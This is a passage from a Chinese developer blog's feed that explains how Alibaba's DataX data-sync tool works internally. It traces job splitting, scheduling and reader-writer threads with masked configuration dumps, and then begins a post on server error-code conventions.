class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>代码debug 直接执行 Engine.entry(args) 方法,具体逻辑如下\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/5.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 8 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><ol><li>进行main方法参数提取</li><li>将datax的json文件转化成Configuration对象(json文件的内容直接通过这个对象可以获取到对应的属性)</li><li>对datax json文件做了校验</li><li>执行engine.start(configuration)方法</li></ol><p><strong>start()方法</strong></p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/6.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 9 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// 该方法对datax 的json配置文件做了一些填充</span><br><span class="line">ColumnCast.bind(allConf);</span><br></pre></td></tr></table></figure><p>该方法对datax 的json配置文件做了一些填充,填充内容如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    &quot;common&quot;:&#123;</span><br><span class="line">        &quot;column&quot;:&#123;</span><br><span class="line">            &quot;dateFormat&quot;:&quot;yyyy-MM-dd&quot;,</span><br><span class="line">            &quot;datetimeFormat&quot;:&quot;yyyy-MM-dd HH:mm:ss&quot;,</span><br><span class="line">            &quot;encoding&quot;:&quot;utf-8&quot;,</span><br><span class="line">            &quot;extraFormats&quot;:[</span><br><span class="line">                &quot;yyyyMMdd&quot;</span><br><span class="line">            ],</span><br><span class="line">            &quot;timeFormat&quot;:&quot;HH:mm:ss&quot;,</span><br><span class="line">            &quot;timeZone&quot;:&quot;GMT+8&quot;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    &quot;core&quot;:&#123;</span><br><span class="line">        &quot;container&quot;:&#123;</span><br><span class="line">            &quot;job&quot;:&#123;</span><br><span class="line">                &quot;id&quot;:-1,</span><br><span class="line">                &quot;reportInterval&quot;:10000</span><br><span class="line">            &#125;,</span><br><span class="line">            &quot;taskGroup&quot;:&#123;</span><br><span class="line">                &quot;channel&quot;:5</span><br><span class="line">            &#125;,</span><br><span class="line">            &quot;trace&quot;:&#123;</span><br><span class="line">                &quot;enable&quot;:&quot;false&quot;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;,</span><br><span class="line">        &quot;dataXServer&quot;:&#123;</span><br><span class="line">            &quot;address&quot;:&quot;http://localhost:7001/api&quot;,</span><br><span class="line">            &quot;reportDataxLog&quot;:false,</span><br><span class="line">            &quot;reportPerfLog&quot;:false,</span><br><span class="line">            &quot;timeout&quot;:10000</span><br><span class="line">        &#125;,</span><br><span class="line">        &quot;statistics&quot;:&#123;</span><br><span class="line">            &quot;collector&quot;:&#123;</span><br><span class="line">                &quot;plugin&quot;:&#123;</span><br><span class="line">                    &quot;maxDirtyNumber&quot;:10,</span><br><span class="line">                    &quot;taskClass&quot;:&quot;com.alibaba.datax.core.statistics.plugin.task.StdoutPluginCollector&quot;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;,</span><br><span class="line">        &quot;transport&quot;:&#123;</span><br><span class="line">            &quot;channel&quot;:&#123;</span><br><span class="line">                &quot;byteCapacity&quot;:67108864,</span><br><span class="line">                &quot;capacity&quot;:512,</span><br><span class="line">                &quot;class&quot;:&quot;com.alibaba.datax.core.transport.channel.memory.MemoryChannel&quot;,</span><br><span class="line">                &quot;flowControlInterval&quot;:20,</span><br><span class="line">                &quot;speed&quot;:&#123;</span><br><span class="line">                    &quot;byte&quot;:-1,</span><br><span class="line">                    &quot;record&quot;:-1</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;,</span><br><span class="line">            &quot;exchanger&quot;:&#123;</span><br><span class="line">                &quot;bufferSize&quot;:32,</span><br><span class="line">                &quot;class&quot;:&quot;com.alibaba.datax.core.plugin.BufferedRecordExchanger&quot;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    &quot;entry&quot;:&#123;</span><br><span class="line">        &quot;jvm&quot;:&quot;-Xms1G -Xmx1G&quot;</span><br><span class="line">    &#125;,</span><br><span class="line">    &quot;job&quot;:Object&#123;...&#125;,</span><br><span class="line">    &quot;plugin&quot;:&#123;</span><br><span class="line">        &quot;reader&quot;:&#123;</span><br><span class="line">            &quot;mysqlreader&quot;:&#123;</span><br><span class="line">                &quot;class&quot;:&quot;com.alibaba.datax.plugin.reader.mysqlreader.MysqlReader&quot;,</span><br><span class="line">                &quot;description&quot;:&quot;useScene: prod. mechanism: Jdbc connection using the database, execute select sql, retrieve data from the ResultSet. warn: The more you know about the database, the less problems you encounter.&quot;,</span><br><span class="line">                &quot;developer&quot;:&quot;alibaba&quot;,</span><br><span class="line">                &quot;name&quot;:&quot;mysqlreader&quot;,</span><br><span class="line">                &quot;path&quot;:&quot;/Users/dengmingrui/temp/DataX/target/datax/datax/plugin/reader/mysqlreader&quot;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;,</span><br><span class="line">        &quot;writer&quot;:&#123;</span><br><span class="line">            &quot;txtfilewriter&quot;:&#123;</span><br><span class="line">                &quot;class&quot;:&quot;com.alibaba.datax.plugin.writer.txtfilewriter.TxtFileWriter&quot;,</span><br><span class="line">                &quot;description&quot;:&quot;useScene: test. mechanism: use datax framework to transport data to txt file. warn: The more you know about the data, the less problems you encounter.&quot;,</span><br><span class="line">                &quot;developer&quot;:&quot;alibaba&quot;,</span><br><span class="line">                &quot;name&quot;:&quot;txtfilewriter&quot;,</span><br><span class="line">                &quot;path&quot;:&quot;/Users/dengmingrui/temp/DataX/target/datax/datax/plugin/writer/txtfilewriter&quot;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到我们原来配置的json内容只是整个json的job部分，其他内容都是由 ColumnCast.bind(allConf)方法补充的。后面调用了<br>下面的方法(伪代码)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">AbstractContainer  container = new JobContainer(allConf);</span><br><span class="line">container.start();</span><br></pre></td></tr></table></figure><p><strong>JobContainer start()方法</strong></p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/7.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 10 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br>可以看到datax调用方法顺序如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">// 前置处理</span><br><span class="line"> this.preHandle();</span><br><span class="line"> // 初始化</span><br><span class="line"> this.init();</span><br><span class="line"> // 准备方法</span><br><span class="line"> this.prepare();</span><br><span class="line"> // 任务切分</span><br><span class="line"> this.split();</span><br><span class="line"> // 执行调度</span><br><span class="line"> this.schedule();</span><br><span class="line"> // ...</span><br><span class="line"> this.post();</span><br><span class="line"> // ...</span><br><span class="line"> this.postHandle();</span><br><span class="line"> this.invokeHooks();</span><br></pre></td></tr></table></figure><p>其中核心的方法为 this.init() 、this.split()、 this.schedule() 本次重点只看这几个方法<br><strong>init()方法</strong>\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/8.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 11 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br><strong>initJobReader</strong>方法\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/9.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 12 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br>通过方法将mysql插件的类家在到jvm中</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">LoadUtil.loadJobPlugin(PluginType.READER,this.readerPluginName)</span><br></pre></td></tr></table></figure><p>提取Configuration 对象参数的部分插入到 jobReader 的pluginJobConf 属性中,具体内容如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">// pluginJobConf</span><br><span class="line">&#123;</span><br><span class="line">    &quot;column&quot;:[</span><br><span class="line">        &quot;id&quot;,</span><br><span class="line">        &quot;project_id&quot;,</span><br><span class="line">        &quot;alarm_time&quot;,</span><br><span class="line">        &quot;job_id&quot;,</span><br><span class="line">        &quot;job_name&quot;,</span><br><span class="line">        &quot;receiver&quot;</span><br><span class="line">    ],</span><br><span class="line">    &quot;connection&quot;:[</span><br><span class="line">        &#123;</span><br><span class="line">            &quot;jdbcUrl&quot;:[</span><br><span class="line">                &quot;xxxx&quot;</span><br><span class="line">            ],</span><br><span class="line">            &quot;table&quot;:[</span><br><span class="line">                &quot;xxxxx&quot;</span><br><span class="line">            ]</span><br><span class="line">        &#125;</span><br><span class="line">    ],</span><br><span class="line">    &quot;password&quot;:&quot;xxxxx&quot;,</span><br><span class="line">    &quot;splitPk&quot;:&quot;id&quot;,</span><br><span class="line">    &quot;username&quot;:&quot;xxxx&quot;</span><br><span class="line">&#125;</span><br><span class="line">// peerPluginJobConf</span><br><span class="line">&#123;</span><br><span class="line">    &quot;dateFormat&quot;:&quot;yyyy-MM-dd&quot;,</span><br><span class="line">    &quot;fieldDelimiter&quot;:&quot;,&quot;,</span><br><span class="line">    &quot;fileName&quot;:&quot;test&quot;,</span><br><span class="line">    &quot;path&quot;:&quot;/Users/dengmingrui/temp/data&quot;,</span><br><span class="line">    &quot;writeMode&quot;:&quot;truncate&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最终执行jobReader.init(); mysql插件的init方法进行初始化。<br>initJobWriter()逻辑类似这里就不查看了<br><strong>split()方法</strong><br>split方法是reader和writer最细粒度的切分,writer的切分结果要参照reader的切分结果达到切分后数目相等，才能满足1：1的通道模型\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/10.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 13 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br>split 方法分为3部分</p><ol><li>拆分reader</li><li>根据reader的拆分结果拆分writer</li><li>将reader 和 writer的拆分结果 合并到Configuration对象中<br>具体的拆分情况，感兴趣的同学可以看一下对应插件的源码<br>下面是我当前任务拆分后,我之前配置的json内容变成什么样子了。</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    &quot;common&quot;:Object&#123;...&#125;,</span><br><span class="line">    &quot;core&quot;:&#123;</span><br><span class="line">        &quot;container&quot;:&#123;</span><br><span class="line">            &quot;job&quot;:Object&#123;...&#125;,</span><br><span class="line">            &quot;taskGroup&quot;:&#123;</span><br><span class="line">                &quot;channel&quot;:5</span><br><span class="line">            &#125;,</span><br><span class="line">            &quot;trace&quot;:Object&#123;...&#125;</span><br><span class="line">        &#125;,</span><br><span class="line">        &quot;dataXServer&quot;:Object&#123;...&#125;,</span><br><span class="line">        &quot;statistics&quot;:&#123;</span><br><span class="line">            &quot;collector&quot;:Object&#123;...&#125;</span><br><span class="line">        &#125;,</span><br><span class="line">        &quot;transport&quot;:Object&#123;...&#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    &quot;entry&quot;:&#123;</span><br><span class="line">        &quot;jvm&quot;:&quot;-Xms1G -Xmx1G&quot;</span><br><span class="line">    &#125;,</span><br><span class="line">    &quot;job&quot;:&#123;</span><br><span class="line">        &quot;content&quot;:[</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            &#123;</span><br><span class="line">                &quot;reader&quot;:&#123;</span><br><span class="line">                    &quot;name&quot;:&quot;mysqlreader&quot;,</span><br><span class="line">                    &quot;parameter&quot;:&#123;</span><br><span class="line">                        &quot;column&quot;:&quot;id,xx,xx,job_id,xxx,xxx&quot;,</span><br><span class="line">                        &quot;columnList&quot;:[</span><br><span class="line">                            &quot;xxx&quot;,</span><br><span class="line">                            &quot;xxx&quot;,</span><br><span class="line">                            &quot;xxx&quot;,</span><br><span class="line">                            &quot;xxx&quot;,</span><br><span class="line">                            &quot;xxxx&quot;,</span><br><span class="line">                            &quot;xxxx&quot;</span><br><span class="line">                        ],</span><br><span class="line">                        &quot;fetchSize&quot;:-2147483648,</span><br><span class="line">                        &quot;isTableMode&quot;:true,</span><br><span class="line">                        &quot;jdbcUrl&quot;:&quot;jxxxxxx&quot;,</span><br><span class="line">                        &quot;loadBalanceResourceMark&quot;:&quot;xxxx&quot;,</span><br><span class="line">                        &quot;password&quot;:&quot;xxxxxx&quot;,</span><br><span class="line">                        &quot;pkType&quot;:&quot;pkTypeLong&quot;,</span><br><span class="line">                        &quot;querySql&quot;:&quot;select xxx,xxxx,xxxx,xxxx,xxxx,xxxx from xxxx  where  (2977 &lt;= id AND id &lt; 3473) &quot;,</span><br><span class="line">                        &quot;splitPk&quot;:&quot;id&quot;,</span><br><span class="line">                        &quot;table&quot;:&quot;xxxx&quot;,</span><br><span class="line">                        &quot;tableNumber&quot;:1,</span><br><span class="line">                        &quot;username&quot;:&quot;xxxx&quot;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;,</span><br><span class="line">                &quot;taskId&quot;:6,</span><br><span class="line">                &quot;writer&quot;:&#123;</span><br><span class="line">                    &quot;name&quot;:&quot;txtfilewriter&quot;,</span><br><span class="line">                    &quot;parameter&quot;:&#123;</span><br><span class="line">                        &quot;dateFormat&quot;:&quot;yyyy-MM-dd&quot;,</span><br><span class="line">                        &quot;encoding&quot;:&quot;UTF-8&quot;,</span><br><span class="line">                        &quot;fieldDelimiter&quot;:&quot;,&quot;,</span><br><span class="line">                        &quot;fileName&quot;:&quot;test__ad112b06_6dd1_4708_a608_890fbf55f7b1&quot;,</span><br><span class="line">                        &quot;path&quot;:&quot;/Users/dengmingrui/temp/data&quot;,</span><br><span class="line">                        &quot;writeMode&quot;:&quot;truncate&quot;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;,</span><br><span class="line">            Object&#123;...&#125;</span><br><span class="line">        ],</span><br><span class="line">        &quot;setting&quot;:&#123;</span><br><span class="line">            &quot;speed&quot;:&#123;</span><br><span class="line">                &quot;channel&quot;:5</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    &quot;plugin&quot;:Object&#123;...&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到job.content数组下面多了很多小job,这里每个小job就是我们一开始说的task,每一个task 都有对应reader和writer的数据源信息。datax这里把json完的很6<br><strong>schedule()方法</strong><br>  一开始我们说过了schedule 是把拆分的结果合并到一个taskgroup中,最终执行\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/11.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 14 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br>最终调用startAllTaskGroup()发放执行taskgroup的任务\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/12.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 15 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/13.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 16 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p>最终线程执行的方法在TaskGroupContainer累的run()方法中,这里逻辑太长了就不截图了\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/14.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 17 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br>datax 将任务最终放入到队列中，后面有一个死循环一直从队列中获取任务最终调用 taskExecutor.doStart();方法执行到真正单个task执行的逻辑\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/15.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 18 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><strong>doStart() 方法</strong><br>先开启写线程，再开启读线程</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/16.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 19 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p>readerThread 和 writerThread 是什么时候初始化的呢？<br>答：是在 new TaskExecutor()的时候, 最终读取的还是json中的plugin配置\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/17.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 20 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br>最终执行的run方法是在ReaderRunner和WriterRunner这2个类对应的run()方法\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/18.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 21 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><h5 id="reader-和-writer-之间是如何通信的呢？"><a href="#reader-和-writer-之间是如何通信的呢？" class="headerlink" title="reader 和 writer 之间是如何通信的呢？"></a>reader 和 writer 之间是如何通信的呢？</h5><p>答： Record 对象，reader 插件在读取之后，将对应的数据封装到Record对象,存储在集合中,writer 读取对应的集合数据在执行写入到目标数据源。下面是mysql插件的逻辑\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/19.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 22 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br>最终写入的方法在BufferedRecordExchanger类的sendToWriter方法\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/20.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 23 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br>读取的场景在WriterRunner类的run()方法</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">taskWriter.startWrite(recordReceiver);</span><br></pre></td></tr></table></figure><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/21.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 24 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br>到这里我们就把task 读写场景的核心逻辑看完了</p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>  本次查看了datax的源码,对datax有了更生层次的理解,datax的插件架构还是学习到了，并且整个任务全程用json对应的Configuration类贯穿整个链路非常使得代码非常灵活。datax对任务的拆分设计和精准的速度控制逻辑的设计后面也有借鉴的地方，类加载器的使用非常巧，代码整体上还是写的非常易懂的看起来并不吃力。其实datax的架构和执行逻辑文档上写的还是很清楚的，如果感兴趣的话可以快速看一下源码的。</p>]]>
    </content>
    <id>https://blog.chuncui.icu/2020/10/22/%E3%80%90%E6%95%B0%E6%8D%AE%E5%90%8C%E6%AD%A5%E3%80%91DATAX%20%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86%E5%8F%8A%E6%BA%90%E7%A0%81%E8%A7%A3%E8%AF%BB/</id>
    <link href="https://blog.chuncui.icu/2020/10/22/%E3%80%90%E6%95%B0%E6%8D%AE%E5%90%8C%E6%AD%A5%E3%80%91DATAX%20%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86%E5%8F%8A%E6%BA%90%E7%A0%81%E8%A7%A3%E8%AF%BB/"/>
    <published>2020-10-22T13:12:44.000Z</published>
    <summary>DataX 工作原理及源码解读背景： 最近在工作中接触到阿里的数据同步工具datax,通过其实现了一些数据源的数据同步功能,虽然在官方文档中了解其工作原理,但是还是对其如何实现的可扩展的架构,和不同数据源之间导入导出的原理比较感兴趣,查看网上的一些介绍并没有深入源码，所以闲暇时间查看了datax的主流程代码,对此做了一……</summary>
    <title>数据同步 DATAX 工作原理及源码解读</title>
    <updated>2021-05-04T06:22:47.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="项目规范" scheme="https://blog.chuncui.icu/categories/%E9%A1%B9%E7%9B%AE%E8%A7%84%E8%8C%83/"/>
    <category term="项目规范" scheme="https://blog.chuncui.icu/tags/%E9%A1%B9%E7%9B%AE%E8%A7%84%E8%8C%83/"/>
    <category term="错误码" scheme="https://blog.chuncui.icu/tags/%E9%94%99%E8%AF%AF%E7%A0%81/"/>
    <content>
      <![CDATA[<h3 id="服务异常和错误码规范"><a href="#服务异常和错误码规范" class="headerlink" title="服务异常和错误码规范"></a>服务异常和错误码规范</h3><h4 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h4><p>  目前公司的服务端返回的异常不规范,导致接口各个场景返回的异常不统一,使得项目不好维护。并且代码看起来不优雅,目前公司项目遇到了国际化的问题,服务端的异常也需要做出相关调整。所以对服务端的异常错误码制定一个规范。</p><h4 id="思考"><a href="#思考" class="headerlink" title="思考"></a>思考</h4><ul><li>需要制定那些异常？</li><li>错误码如何设计？如何做到可读性、可维护、灵活可控？</li><li>新的异常规范,如何设计才会对当前项目侵入性小？</li></ul><h4 id="异常分类"><a href="#异常分类" class="headerlink" title="异常分类"></a>异常分类</h4><p>  根据之前的工作经验,异常分为两个大分类,<strong>未知异常</strong>、<strong>已知异常</strong>,结合这两个分类对异常进行拆分,直到拆分到不能拆分为止。拆分结果如下：</p><figure class="legacy-image-notice" data-original-src="https://qingqing-test.oss-cn-qingdao.aliyuncs.com/simba/%E5%BC%82%E5%B8%B8%E5%88%86%E7%B1%BB.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 1 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><blockquote><p>异常拆分一定要结合整体服务业务,有些公司服务的异常可能其他公司永远都用不上。比如电商的项目有些异常场景可能做crm系统的永远用不上。所以不要盲目借鉴。</p></blockquote><h3 id="异常介绍"><a href="#异常介绍" class="headerlink" 